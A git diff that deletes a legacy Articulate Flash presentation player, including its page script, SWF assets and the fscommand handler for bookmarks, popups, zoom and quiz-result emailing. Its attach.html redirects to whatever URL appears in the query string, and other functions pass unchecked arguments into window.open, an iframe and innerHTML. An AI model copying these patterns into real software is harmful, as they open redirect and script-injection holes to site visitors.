-		slidenum = _search.substring((nStartPos+6),(nEndPos-0));
-	}
-//-->
-</script>
-
-
-<!-- Playercode: -->
-
-<script LANGUAGE="JavaScript">
-
-	//Formulate url to give to player for use in Forward, to pass it into flash. (Default is ./ in current url folder.)
-	var thislink = document.location.href;
-	thislink = thislink.substring(0,(thislink.lastIndexOf("/")+1));
-
-	// Create FlashVars
-	var strFlashVars = "";
-	strFlashVars += "vBgColor=0x" + g_strBgColor;
-
-	// FSCommand?
-	strFlashVars += "&vFSCommand="
-	if (!(IE5 || IE6 || IE7 || FF1 || NS7_2Plus || Mozilla1_7Plus) || Opera || isLinux || isMac)
-	{
-		strFlashVars += "false";	 
-	}
-	else
-	{
-		strFlashVars += "true"
-	}
-
-	// LMS Info
-	if (g_bLMS)
-	{
-		if (g_bAPIPresent)
-		{
-			RetrieveStateData();
-			strFlashVars += "&vResumeSlide=" + String(g_SlideLastViewed);
-			strFlashVars += "&vStateData=" + String(g_strResumeData);
-			strFlashVars += "&vLMSPresent=" + String(g_bLMSPresent);
-		}
-	}
-
-	// Get the browsers width and height
-	var strSwfWidth = "100%";
-	var strSwfHeight = "100%";
-	
-	var strScale = "show all";
-
-	if (!g_bScaleSwf)
-	{
-		strSwfWidth = 992;
-		strSwfHeight = 652;
-		strScale = "noscale"
-	}
-
-	var strTransparent = "";
-
-	if (g_bWebObject)
-	{
-		strTransparent = "wmode='transparent'";
-	}
-
-	if (NS4)
-	{
-		strSwfWidth = g_nWidth;
-		strSwfHeight = g_nHeight-30;
-	}
-
-	if (Mozilla && isLinux)
-	{
-		strSwfWidth = "980";
-		strSwfHeight = "640";
-	}
-
-	if (g_bWebObject)
-	{
-		document.write("<div id='flasher' style='z-index:4;'>");
-	}
-	
-	document.write("<table width='100%' HEIGHT='100%' border=0 cellspacing=0 cellpadding=0>");
-	document.write("<tr><td valign='center' align='center'>");
-
-	strFlashVars += "&rqPresentationID=SO7ppKVPzJNYZpP";
-	strFlashVars += "&rqStartSlide=" + slidenum;
-	strFlashVars += "&link="+ thislink;
-
-	WriteSwfObject("player/playershell.swf", strSwfWidth, strSwfHeight, strFlashVars, g_bWebObject, strTransparent, strScale); 
-
-	document.write("</td></tr>");
-	document.write("</table>");
-
-	if (g_bWebObject)
-	{
-		document.write("</div>");
-	}
-
-
-</script>
-
-
-<script LANGUAGE="JavaScript">
-<!--
-	if (g_bWebObject)
-	{
-		document.write("<div id='eLayer1' style='position:absolute; left:240; top:-600px; width:100; height:100; visibility:hidden; z-index:3;' >");
-		document.write("<iframe id='eIFContent' style='width:100%; height:100%' src='player/blank.html' frameborder='10px' allowtransparency='true'></iframe></div>");
-	}
-
-	
-//-->
-</script>
-
-<!-- Email support [097] -->
-
-<DIV id="divQuiz" style="visibility:hidden"></DIV>
-
-</BODY>
-</HTML>
-
diff --git a/Explore/elr/Other/O0004/player/ast_alert.swf b/Explore/elr/Other/O0004/player/ast_alert.swf
deleted file mode 100755
index 4ac450d..0000000
--- a/Explore/elr/Other/O0004/player/ast_alert.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/ast_loader.swf b/Explore/elr/Other/O0004/player/ast_loader.swf
deleted file mode 100755
index b315ef7..0000000
--- a/Explore/elr/Other/O0004/player/ast_loader.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/ast_navicons.swf b/Explore/elr/Other/O0004/player/ast_navicons.swf
deleted file mode 100755
index 30453cd..0000000
--- a/Explore/elr/Other/O0004/player/ast_navicons.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/ast_notes.swf b/Explore/elr/Other/O0004/player/ast_notes.swf
deleted file mode 100755
index acb8be8..0000000
--- a/Explore/elr/Other/O0004/player/ast_notes.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/ast_remote.swf b/Explore/elr/Other/O0004/player/ast_remote.swf
deleted file mode 100755
index 80d624a..0000000
--- a/Explore/elr/Other/O0004/player/ast_remote.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/ast_vidpresenter.swf b/Explore/elr/Other/O0004/player/ast_vidpresenter.swf
deleted file mode 100755
index c8df3f5..0000000
--- a/Explore/elr/Other/O0004/player/ast_vidpresenter.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/attach.html b/Explore/elr/Other/O0004/player/attach.html
deleted file mode 100755
index 98b67f9..0000000
--- a/Explore/elr/Other/O0004/player/attach.html
+++ /dev/null
@@ -1,18 +0,0 @@
-<HTML>
-<HEAD>
-<TITLE>TEst</TITLE>
-<SCRIPT>
-function GetAttach()
-{
-	var strSearch = document.location.search
-	strSearch = strSearch.substring(1)
-	
-	document.location.replace(strSearch)
-}
-</SCRIPT>
-</HEAD>
-<BODY onload='GetAttach()'>
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0004/player/blank.html b/Explore/elr/Other/O0004/player/blank.html
deleted file mode 100755
index 3c1e15c..0000000
--- a/Explore/elr/Other/O0004/player/blank.html
+++ /dev/null
@@ -1,11 +0,0 @@
-<!-- saved from url=(0014)about:internet -->
-<body bgcolor="#000000" text="#888888"  scroll="yes" style="background-color:transparent">
-<br>
-
-<div align=right>
-<font face=arial size=3 color="#888888">
-Loading...
-</font>
-</div>
-
-</body>
diff --git a/Explore/elr/Other/O0004/player/button.gif b/Explore/elr/Other/O0004/player/button.gif
deleted file mode 100755
index 4df1b69..0000000
--- a/Explore/elr/Other/O0004/player/button.gif
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/flashcommand.js b/Explore/elr/Other/O0004/player/flashcommand.js
deleted file mode 100755
index 65ecb89..0000000
--- a/Explore/elr/Other/O0004/player/flashcommand.js
+++ /dev/null
@@ -1,864 +0,0 @@
-/*********************************************************************
---- flashcommand : fscommand handler functions ---
-version 5.0.0
-This is the general fscommand handler for ALL output formats
-*********************************************************************/
-
-///////////////////////////////////////////////////////////////////////////
-// Global Vars
-///////////////////////////////////////////////////////////////////////////
-var DATA_PATH = "data/swf/";
-var FLASH_WND_WIDTH = 40;
-var FLASH_WND_HEIGHT = 30;
-
-var SWF_BASE_WIDTH		= 980;	
-var SWF_BASE_HEIGHT		= 640;
-var WEBOBJ_LEFT			= 254;
-var WEBOBJ_TOP			= 36;
-
-if (FF1 || NS6plus)
-{
-	WEBOBJ_LEFT = 253;
-	WEBOBJ_TOP = 34;
-}
-
-if (!g_bScaleSwf)
-{
-	WEBOBJ_LEFT -= 8;
-	WEBOBJ_TOP -= 4;
-	strSwfWidth = 992;
-	strSwfHeight = 652;
-}
-
-var WEBOBJ_DISPLAY3_XPOS_ADJUST	= 150;
-var WEBOBJ_DISPLAY3_YPOS_ADJUST	= 20;
-
-var WEBOBJ_DISPLAY2_XPOS_ADJUST	= 119;
-
-// Browser Resize
-var g_ResizeTimeout;
-var g_strQMPath = "";
-
-///////////////////////////////////////////////////////////////////////////
-// Utility Functions
-///////////////////////////////////////////////////////////////////////////
-
-function Click()
-{
-	alert("Test");
-}
-
-function WriteSwfObject(strFileName, strSwfWidth, strSwfHeight, strFlashVars, bWebObject, strTransparent, strScale)
-{
-	document.write("<OBJECT classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' ");
-	document.write("codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,79,0' ");
-	document.write("WIDTH='" + strSwfWidth + "' HEIGHT='" + strSwfHeight + "' ID='player' ALIGN=''> ");
-	document.write("<PARAM NAME=movie VALUE='" + strFileName + "'> ");
-	document.write("<PARAM NAME=quality VALUE='best'> ");
-	if (bWebObject)
-	{
-		document.write("<PARAM NAME=WMODE VALUE='transparent'> ");
-	}
-	document.write("<PARAM NAME=scale VALUE='" + strScale + "'> ");
-	document.write("<PARAM NAME=menu VALUE='false'>");
-	document.write("<PARAM NAME=FlashVars VALUE='" + strFlashVars + "'>");
-	document.write("<EM"+"BED WIDTH='"+ strSwfWidth +"' HEIGHT='"+ strSwfHeight +"' src='" + strFileName + "' NAME='player' quality='best' " + strTransparent + " scale='" + strScale + "'  ALIGN='' ");
-	document.write("FlashVars='" + strFlashVars + "'");
-	document.write(" TYPE='application/x-shockwave-flash' PLUGINSPAGE='http://www.macromedia.com/go/getflashplayer' swLiveConnect='true' menu='false'></EM"+"BED>");
-	document.write("</OBJECT>");
-}
-
-
-function CreateBookmark(args, bSlide)
-{
-	if (!Opera7plus && IE4plus)
-	{
-		var nSlideNum = args.substring(0,args.indexOf("|"));
-		var strTitle = args.substring((args.indexOf("|")+1),args.length);
-
-		var _proto 	= document.location.protocol;
-		var _host 	= document.location.host;
-		var _pathname	= document.location.pathname;
-		var _search = document.location.search;
-		var newpath  = "";
-		var newUrl  = "";
-		var nPos = 0;
-
-		nPos = _pathname.lastIndexOf("/");
-
-		if (nPos <= 0) 
-		{
-			nPos = _pathname.lastIndexOf("\\"); 
-		}
-		if ( nPos < _pathname.length) 
-		{    
-			// if / is not the last char grab the trailing "/"
-			nPos++;
-		}
-		
-		if (_search.indexOf("akpDocumentID",0) < 0) 
-		{
-			newpath = _pathname.substr(0, nPos) + "player.html";
-			newUrl = _proto + "//" + _host + newpath +"?slide=" + nSlideNum;
-		} 
-		else 
-		{
-			did = _search.substring((_search.lastIndexOf("akpDocumentID") + ("akpDocumentID").length+1), _search.length);
-			newpath = "/Portal/Storage/DownloadDocument.aspx?DocumentID=" + did;
-			newUrl = _proto+"//"+ _host + newpath + "?slide="+ nSlideNum;
-		}
-
-		if (bSlide)
-		{
-			strTitle = strTitle + " - Powered by Articulate ";
-		}
-		else
-		{
-			strTitle = strTitle + " Slide "+ nSlideNum +" - Powered by Articulate ";
-		}
-
-		window.external.AddFavorite(newUrl, strTitle);
-	}
-	else
-	{
-		var strErr = "Your browser does not support automatic bookmarking.\nTo bookmark this presentation, please create a bookmark \non the web page that launched this window.";
-		alert(strErr);
-	}
-}
-
-
-function OpenFlashObjectWnd(args)
-{
-	str = args;
-	params = str.split("|");
-
-	var strContainerType = params[0];	// Unused
-	var strFilename = params[1];
-	var nXPos = parseInt(params[2]);	// Unused
-	var nYPos = parseInt(params[3]);	// Unused
-	var nWidth = parseInt(params[4]);
-	var nHeight = parseInt(params[5]);
-	var strBrowserOptions = params[6];
-
-	var  re = /width=0/gi;
-	ww = strBrowserOptions.search(re);
-	re = /height=0/gi;
-	wh = strBrowserOptions.search(re);
-
-	// If the width and height are 0 set to Full screen
-	if ((ww >= 0 && wh >= 0) || (nWidth ==0 && nHeight==0))
-	{
-		nWidth = window.screen.availWidth;
-		nHeight = window.screen.availHeight;
-	}
-	
-	PopFlashObj(DATA_PATH + strFilename, nWidth, nHeight)
-}
-
-
-////////////////////////////////////////////////////////////////////////////////
-// Gets the base path
-////////////////////////////////////////////////////////////////////////////////
-
-function GetBasePath()
-{
-	var strFullPath = document.location.href;
-	var nPos1 = -1;
-	var nPos2 = -1;
-
-	nPos1 = strFullPath.lastIndexOf("\\");
-	nPos2 = strFullPath.lastIndexOf("/");
-
-	if (nPos2 > nPos1)
-	{
-		nPos1 = nPos2;
-	}
-
-	if (nPos1 >= 0)
-	{
-		strFullPath = strFullPath.substring(0, nPos1 + 1);
-	}
-
-	return(strFullPath);
-}
-
-////////////////////////////////////////////////////////////////////////////////
-// Zoom code
-////////////////////////////////////////////////////////////////////////////////
-
-var g_oZoomInfo = new Object();
-var g_wndZoom;
-
-function PopFlashObj(strFileName, nWidth, nHeight)
-{
-	var strScroll = "0";
-
-	g_oZoomInfo.strFileName = GetBasePath() + strFileName;
-	g_oZoomInfo.nWidth = parseInt(nWidth);
-	g_oZoomInfo.nHeight = parseInt(nHeight);
-
-	if (g_oZoomInfo.nWidth > screen.availWidth)
-	{
-		g_oZoomInfo.nWidth = screen.availWidth;
-		strScroll = "1";
-	}
-
-	if (g_oZoomInfo.nHeight > screen.availHeight)
-	{
-		g_oZoomInfo.nHeight = screen.availHeight;
-		strScroll = "1";
-	}
-
-
-	var strOptions = "width=" + g_oZoomInfo.nWidth +",height=" + g_oZoomInfo.nHeight + ", status=0, toolbar=0, location=0, menubar=0, scrollbars=" + strScroll;
-
-	if (g_wndZoom)
-	{
-		try
-		{
-			g_wndZoom.close()
-		}
-		catch (e)
-		{
-		}
-	}
-
-	g_wndZoom = window.open("player/zoom.html", "", strOptions);
-}
-
-////////////////////////////////////////////////////////////////////////////////
-// End Zoom code
-////////////////////////////////////////////////////////////////////////////////
-
-function OpenWebObjectWnd(args)
-{
-	str = args;
-	params = str.split("|");
-
-	var strContainerType = params[0]; 	// Unused
-	var strObjectType = params[1];		// Unused
-	var nXPos = params[2];			// Unused
-	var nYPos = params[3];			// Unused
-	var nWidth = params[4];
-	var nHeight = params[5];
-	var strBrowserOptions = params[6];
-	var strMode = params[7];  		// Unused
-	var strUrl = params[8];
-	  
-	//Check for repository:
-	if (strUrl.toLowerCase().indexOf("repository://") == 0) 
-	{
-		strUrl = "/Portal/Storage/Viewers/ArtPlayer/FollowLink.aspx?file=" + strUrl;
-	}
-
-	var  re = /width=0/gi;
-	ww = strBrowserOptions.search(re);
-	re = /height=0/gi;
-	wh = strBrowserOptions.search(re);
-
-	// If the width and height are 0 set to Full screen
-	if ((ww >= 0 && wh >= 0) || (nWidth ==0 && nHeight==0))
-	{
-		nWidth = window.screen.availWidth;
-		nHeight = window.screen.availHeight;
-		strBrowserOptions += ",width="+nWidth+",height="+nHeight+",left=0,top=0,screenX=0,screenY=0";
-	}
-	else 
-	{
-		strBrowserOptions += ",width=" + nWidth + ",height=" +nHeight;
-	}
-	  
-	//--Setup the Window.open Target Url to popup and populate:
-	var wndWebObj = window.open(strUrl, "mediaobjectwin", strBrowserOptions);
-	wndWebObj.focus();
-}
-
-function ShowWebObjectDiv(args)
-{
-	str = args;
-	params = str.split("|");
-	var strContainerType = params[0]; 	// Unused
-	var strObjectType = params[1];		// Unused
-	var nXPos = parseInt(params[2]);
-	var nYPos = parseInt(params[3]);
-	var nWidth = parseInt(params[4]);
-	var nHeight = parseInt(params[5]);
-	var strBrowserOptions = params[6];
-	var strMode = params[7]; 		// scale modes
-	var strUrl = params[8];
-
-	//Check for repository:// string//
-	if (strUrl.toLowerCase().indexOf("repository://") == 0)
-	{
-		strUrl = "/Portal/Storage/Viewers/ArtPlayer/FollowLink.aspx?file=" + strUrl;
-	}
-
-	//- (iframe) -//
-	if (g_bWebObject) 
-	{
-		// Set the global values
-		g_bWebObjDisplay = true;
-		g_nWebXPos = nXPos;
-		g_nWebYPos = nYPos;
-		g_nWebWidth = nWidth;
-		g_nWebHeight = nHeight;
-		g_strWebMode = strMode;
-
-		// Set the URL
-		var myIFrame = document.getElementById("eIFContent");
-		myIFrame.src = strUrl;
-
-		// Adjust the Size and position
-		ResizeWebObject();
-
-	} 
-	else 
-	{
-		//alert("Can't find a media layer. Opening in a new window instead.");
-		window.open(strUrl,   "webobjectwin",   "width=700,height=500,"+strBrowserOptions);
-	}
-
-}
-
-function HideWebObjectDiv(args)
-{
-	//clear the iframe
-	if (g_bWebObject) 
-	{
-		g_bWebObjDisplay = false;
-
-		// Make the WebObject Small for Firefox
-		g_nWebWidth = 5;
-		g_nWebHeight = 5;
-
-		ResizeWebObject();
-
-		// Set the layer to be invisible
-		var layerWebObject = document.getElementById("eLayer1");
-		layerWebObject.style.visibility = 'hidden';
-
-		// Fill with blank page
-		var myIFrame = document.getElementById("eIFContent");
-		myIFrame.src = "player/blank.html";
-
-	}
-}
-
-function SetDisplayMode(args)
-{
-	var params = args.split("|");
-
-	currentDisplayMode = params[0];
-
-	if (g_bWebObjDisplay)
-	{
-		ResizeWebObject();
-	}
-}
-
-function ShowMediaObject(args)
-{
-	//rightclick insert webobject, display in new window//
-	str = args;
-	params = str.split("|");
-	var _url = params[0];
-	var _options = params[1];
-
-	//--Launch a new window with the specifed parameters and content:
-	window.open(_url,   "mediaobjectwin",   _options);
-}
-
-function SendQuiz()  
-{
-	g_strQuizResults = g_strQuizResults.replace(/'/g,"&#39;");
-
-	var sHTML = "";
-	sHTML += '<FORM id="formQuiz" method="POST" action="mailto:' + g_strEmail + '?subject=' + g_strSubject + '" enctype="text/plain">';
-	sHTML += '<INPUT TYPE="hidden" NAME="Quiz Results" VALUE=\'' + g_strQuizResults.replace(/\\n/g,"\n") + '\'>';
-	sHTML += '<br><input type="submit"><br>';
-	sHTML += '</FORM>';
-	document.getElementById("divQuiz").innerHTML = sHTML;
-	document.getElementById("divQuiz").document.getElementById("formQuiz").submit();
-}
-
-function GetBasePath()
-{
-	var strFullPath = document.location.href;
-	var nPos1 = -1;
-	var nPos2 = -1;
-
-	nPos1 = strFullPath.lastIndexOf("\\");
-	nPos2 = strFullPath.lastIndexOf("/");
-
-	if (nPos2 > nPos1)
-	{
-		nPos1 = nPos2;
-	}
-
-	if (nPos1 >= 0)
-	{
-		strFullPath = strFullPath.substring(0, nPos1 + 1);
-	}
-
-	return(strFullPath);
-}
-
-
-///////////////////////////////////////////////////////////////////////////
-// Resize Event
-///////////////////////////////////////////////////////////////////////////
-
-var g_resizeTimer;
-var g_nWebXPos = 0;
-var g_nWebYPos = 0;
-var g_nWebWidth = 0;
-var g_nWebHeight = 0;
-var g_bWebObjDisplay = false;
-var g_strWebMode = "scaleall";
-
-function ResizeWebObject()
-{
-	var layerWebObject = document.getElementById("eLayer1");
-	var myIFrame = document.getElementById("eIFContent");
-
-	var nWidth = g_nWebWidth;
-	var nHeight = g_nWebHeight;
-	var nXPos = g_nWebXPos;
-	var nYPos = g_nWebYPos;
-
-	// Calculate the Ratio and Offsets
-	var swfMovie = thisMovie('player');
-
-	if (!swfMovie.clientHeight)
-	{
-		swfMovie = document.getElementById("player");
-	}
-
-	var nSwfXPos = swfMovie.offsetLeft;
-	var nSwfYPos = swfMovie.offsetTop;
-	var nSwfHeight = swfMovie.clientHeight;
-	var nSwfWidth = swfMovie.clientWidth;
-
-	if (isMac && IE5)
-	{
-		nSwfWidth = swfMovie.width;
-		if (swfMovie.width == "100%")
-		{
-			nSwfWidth = document.body.clientWidth;
-			
-		}
-		
-		nSwfHeight = swfMovie.height;
-		if (swfMovie.height == "100%")
-		{
-			nSwfHeight = document.body.clientHeight;
-		}
-	}
-
-	var nWRatio = nSwfWidth / SWF_BASE_WIDTH;
-	var nHRatio = nSwfHeight / SWF_BASE_HEIGHT;
-	var nRatio = 1;
-	var nLeftOffset = 0;
-	var nTopOffset = 0;
-
-	// Adjust the Width and the height for firefox
-	if (FF1 || NS6plus)
-	{
-		nWidth -= 5;
-		nHeight -= 5;
-	}
-
-	//Handle special Mode 2 and 3 cases:
-	if (currentDisplayMode == 3) 
-	{
-		nXPos -= WEBOBJ_DISPLAY3_XPOS_ADJUST;
-		nYPos -= WEBOBJ_DISPLAY3_YPOS_ADJUST;
-		nXPos *= 1.13;
-		nYPos *= 1.13;
-		nWidth *= 1.13;
-		nHeight *= 1.13;
-	}
-	else if (currentDisplayMode == 2) 
-	{
-		nXPos -= WEBOBJ_DISPLAY2_XPOS_ADJUST;
-
-	}
-
-	if (nHRatio < nWRatio)
-	{
-		nRatio = nHRatio;
-		nLeftOffset = (nSwfWidth - (SWF_BASE_WIDTH * nRatio)) / 2;
-	}
-	else
-	{
-		nRatio = nWRatio;
-		nTopOffset = (nSwfHeight - (SWF_BASE_HEIGHT * nRatio)) / 2;
-	}
-
-	strMode = "scaleall";
-
-	if ((g_strWebMode == "") || (g_strWebMode == "scaleall")) 
-	{
-		factorSize = nRatio;  
-		factorPosition = nRatio;
-	}
-	if (g_strWebMode =="scaleposition")
-	{
-		factorSize = 1;  
-		factorPosition = nRatio;
-	}
-	if (g_strWebMode == "scalesize")  
-	{
-		factorSize = nRatio;  
-		factorPosition = 1;
-	}
-	if (g_strWebMode == "absolute") 
-	{
-		factorSize = 1;  
-		factorPosition = 1;
-	}
-
-		
-	iLeft = (WEBOBJ_LEFT + nXPos) * factorPosition + nLeftOffset;
-	iTop = (WEBOBJ_TOP + nYPos) * factorPosition + nTopOffset;
-	iWidth = nWidth * factorSize;
-	iHeight = nHeight * factorSize;
-
-	//Resize the layer
-	layerWebObject.style.left = nSwfXPos + iLeft;
-	layerWebObject.style.top = nSwfYPos + iTop;
-	layerWebObject.style.width = iWidth;
-	layerWebObject.style.height = iHeight;
-	layerWebObject.style.visibility = 'visible';
-
-	// Resize the IFrame
-	myIFrame.style.width = iWidth;
-	myIFrame.style.height = iHeight;
-
-}
-
-function WindowResize()
-{
-	// Notify the swf that we have resized.  This is for 
-	// text that does not scale properly
-	if (g_bScaleSwf)
-	{
-		// Make sure that we don't send 100 resize messages in a row
-		clearTimeout(g_ResizeTimeout);
-		g_ResizeTimeout = setTimeout("NotifySwfResize()", 200);
-		
-	}
-
-	// Resize the Web Object
-	if (g_bWebObjDisplay)
-	{
-		ResizeWebObject();
-	}
-}
-
-function NotifySwfResize()
-{
-	var swfMovie = thisMovie('player');
-	swfMovie.SetVariable("g_Resize.Trigger", "1");
-}
-
-function SetBgColor(strColor)
-{
-	var strTemp = "";
-
-	if (IE4 && !Opera && !isMac)
-	{
-		strTemp = "0x" + strColor;
-		document.bgColor = parseInt(strTemp);
-	}
-	else
-	{
-		strTemp = "#" + strColor;
-		document.bgColor = strTemp;
-	}	
-}
-
-window.onresize = WindowResize;
-
-var g_strAttachment = "";
-
-function OpenAttachment()
-{
-	if (IESP2 || IE7)
-	{
-		try
-		{
-			window.open('player/attach.html?' + GetBasePath() + g_strAttachment,"attach")
-		}
-		catch (e)
-		{
-			if (e.number == -2147024891)
-			{
-				alert("For viewing attachments when presentation is not playing from a website, view the Knowledge Base article located at http://kb.articulate.com/kb/000669.php")
-			}
-		}
-	}
-	else
-	{
-		window.open(GetBasePath() + g_strAttachment);
-	}
-}
-
-////////////////////////////////////////////////////////////////////////////////
-// Results Screen Code
-////////////////////////////////////////////////////////////////////////////////
-
-var g_arrResults = new Array();
-var g_oQuizResults = new Object();
-
-function QuestionResult(nQuestionNum, strQuestion, strResult, strCorrectResponse, strStudentResponse, nPoints)
-{
-	if (nPoints < 0)
-	{
-		nPoints = 0;
-	}
-	if (strCorrectResponse == "")
-	{
-		strCorrectResponse = "&nbsp;";
-	}
-
-	this.nQuestionNum = nQuestionNum
-	this.strQuestion = strQuestion;
-	this.strCorrectResponse = strCorrectResponse;
-	this.strStudentResponse = strStudentResponse;
-	this.strResult = strResult;
-	this.nPoints = nPoints;
-	this.bFound = false;
-}
-
-function StoreResult(args)
-{
-	args = args.replace(/\|\$s\$\|/g,";")
-	var arrParams = args.split("|$:$|");
-	var oQuestionResult = new QuestionResult(parseInt(arrParams[0]) + 1, arrParams[1], arrParams[2], arrParams[3], arrParams[4] ,arrParams[5]);
-	var nIndex = g_arrResults.length;
-
-	// Lets see if we have answered the question before
-
-	for (var i = 0; i < g_arrResults.length; i++)
-	{
-		if (g_arrResults[i].nQuestionNum == oQuestionResult.nQuestionNum)
-		{
-			nIndex = i;
-			break;
-		}
-	}
-
-	g_arrResults[nIndex] = oQuestionResult;
-
-}
-
-function StoreQuizResult(args)
-{
-	var arrParams = args.split("|$:$|");
-
-	g_oQuizResults.dtmFinished = new Date();
-	g_oQuizResults.strResult = arrParams[0];
-	g_oQuizResults.strScore = arrParams[1];
-	g_oQuizResults.strPassingScore = arrParams[2];
-}
-
-function ShowResult(args)
-{
-	var arrData = args.split("|$s$|");
-	
-	if (!g_oQuizResults.oOptions)
-	{
-		g_oQuizResults.oOptions = new Object();
-	}
-
-	g_oQuizResults.oOptions.bShowUserScore = (arrData[0] == "1");
-	g_oQuizResults.oOptions.bShowPassingScore = (arrData[1] == "1");
-	g_oQuizResults.oOptions.bShowShowPassFail = (arrData[2] == "1");
-	g_oQuizResults.oOptions.bShowQuizReview = (arrData[3] == "1");
-	g_oQuizResults.oOptions.strResult = arrData[4];
-	g_oQuizResults.oOptions.strName = arrData[5];
-
-	window.open(GetBasePath() + g_strQMPath + "report.html", "Reports")
-}
-
-////////////////////////////////////////////////////////////////////////////////
-// Zoom code
-////////////////////////////////////////////////////////////////////////////////
-
-var g_oZoomInfo = new Object();
-var g_wndZoom;
-
-function PopZoomImage(strFileName, nWidth, nHeight, strZoomPath)
-{
-	var strScroll = "0";
-	g_oZoomInfo.strFileName = strFileName;
-	g_oZoomInfo.nWidth = parseInt(nWidth);
-	g_oZoomInfo.nHeight = parseInt(nHeight);
-
-	if (g_oZoomInfo.nWidth > screen.availWidth)
-	{
-		g_oZoomInfo.nWidth = screen.availWidth;
-		strScroll = "1";
-	}
-
-	if (g_oZoomInfo.nHeight > screen.availHeight)
-	{
-		g_oZoomInfo.nHeight = screen.availHeight;
-		strScroll = "1";
-	}
-
-
-	var strOptions = "width=" + g_oZoomInfo.nWidth +",height=" + g_oZoomInfo.nHeight + ", status=0, toolbar=0, location=0, menubar=0, scrollbars=" + strScroll;
-
-	if (g_wndZoom)
-	{
-		try
-		{
-			g_wndZoom.close()
-		}
-		catch (e)
-		{
-		}
-	}
-
-	var strRelPath = g_strQMPath;
-	if (strZoomPath != "" && strZoomPath != undefined && strZoomPath != null)
-	{
-		strRelPath = strZoomPath;
-	}
-
-
-	g_wndZoom = window.open(GetBasePath() + strRelPath + "zoom.html", "Zoom", strOptions);
-}
-
-///////////////////////////////////////////////////////////////////////////
-// Flash Command Handler
-///////////////////////////////////////////////////////////////////////////
-
-function player_DoFSCommand(command, args) 
-{
-	args = String(args);
-
-	args = args.replace(/%_q_%/g,"\"")
-	args = args.replace(/;/g,"|$s$|")
-	args = args.replace(/%_s_%/g,";")
-
-	switch (command)
-	{
-		case "bookmark_presentation":
-			CreateBookmark(args, false);
-			break;
-
-		case "bookmark_slide":
-			CreateBookmark(args, true);
-			break;
-
-		case "hyper_flashobject":
-			OpenFlashObjectWnd(args);
-			break;
-
-		case "hyper_webobject_newwindow":
-			OpenWebObjectWnd(args);
-			break;
-
-		case "hyper_webobject_inplayer":
-			ShowWebObjectDiv(args);
-			break;
-
-		case "hyper_webobject_inplayer_hide":
-			HideWebObjectDiv(args);
-			break;
-
-		case "ART_displaymode":
-			SetDisplayMode(args);
-			break;
-
-		case "hyper_mediaobject":
-			ShowMediaObject(args);
-			break;
-
-		case "ART_CloseAndExit":
-			if (!g_bLMS)
-			{
-				top.window.close();
-	 		}
-			break;
-		case "ART_SetBgBolor":
-				SetBgColor(args);
-			break;
-
-		case "ART_Attachment":
-			g_strAttachment = args;
-			if (IESP2)
-			{
-				OpenAttachment()
-			}
-			else
-			{
-				setTimeout("OpenAttachment()", 100)
-			}
-			break;
-
-		// Email Handlers
-		case "emailEmail":
-			g_strEmail = args;
-			break;
-
-		case "QuizResults":
-		case "Quiz Results":
-			var strTemp = args.replace(/\|\$s\$\|/g,";");
-			g_strQuizResults = args;
-			break;
-
-		case "emailSubject":
-			g_strSubject = args;
-			break;
-
-		case "emailSubmit":
-			SendQuiz();
-			break;
-
-		// QM Handlers
-		case "SetQMPath":
-			g_strQMPath = args;
-			break;
-
-		case "StoreQuestionResult":
-			StoreResult(args);
-			break;
-
-		case "StoreQuizResult":
-			StoreQuizResult(args);
-			break;
-
-		case "DisplayPrintScreen":
-			ShowResult(args);
-			break;
-
-		case "ART_QMAttachment":
-			g_strAttachment = g_strQMPath + args;
-
-			if (IESP2)
-			{
-				OpenAttachment()
-			}
-			else
-			{
-				setTimeout("OpenAttachment()", 100)
-			}
-
-			break;
-
-		case "QM_ZoomImage":
-			var arrData = args.split("|$s$|");
-			PopZoomImage(arrData[0], arrData[1], arrData[2], arrData[3]);
-			break;
-
-	}
-
-	if (g_bLMS)
-	{
-		customFScommandHandler(command, args);   //found in Lms.js
-	}
-}
diff --git a/Explore/elr/Other/O0004/player/logopanel.swf b/Explore/elr/Other/O0004/player/logopanel.swf
deleted file mode 100755
index 451f48f..0000000
--- a/Explore/elr/Other/O0004/player/logopanel.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/mod_colorizer.swf b/Explore/elr/Other/O0004/player/mod_colorizer.swf
deleted file mode 100755
index 4be35ac..0000000
--- a/Explore/elr/Other/O0004/player/mod_colorizer.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/mod_colorizer_lib.swf b/Explore/elr/Other/O0004/player/mod_colorizer_lib.swf
deleted file mode 100755
index 9fc7de8..0000000
--- a/Explore/elr/Other/O0004/player/mod_colorizer_lib.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/mod_engage.swf b/Explore/elr/Other/O0004/player/mod_engage.swf
deleted file mode 100755
index a1e88c0..0000000
--- a/Explore/elr/Other/O0004/player/mod_engage.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/mod_exit.swf b/Explore/elr/Other/O0004/player/mod_exit.swf
deleted file mode 100755
index 37a55c9..0000000
--- a/Explore/elr/Other/O0004/player/mod_exit.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/null.swf b/Explore/elr/Other/O0004/player/null.swf
deleted file mode 100755
index b7e68b3..0000000
--- a/Explore/elr/Other/O0004/player/null.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/playershell.swf b/Explore/elr/Other/O0004/player/playershell.swf
deleted file mode 100755
index 3da1c0b..0000000
--- a/Explore/elr/Other/O0004/player/playershell.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/slidegroup.swf b/Explore/elr/Other/O0004/player/slidegroup.swf
deleted file mode 100755
index e8864c2..0000000
--- a/Explore/elr/Other/O0004/player/slidegroup.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/stealthray.swf b/Explore/elr/Other/O0004/player/stealthray.swf
deleted file mode 100755
index 55f9166..0000000
--- a/Explore/elr/Other/O0004/player/stealthray.swf
+++ /dev/null
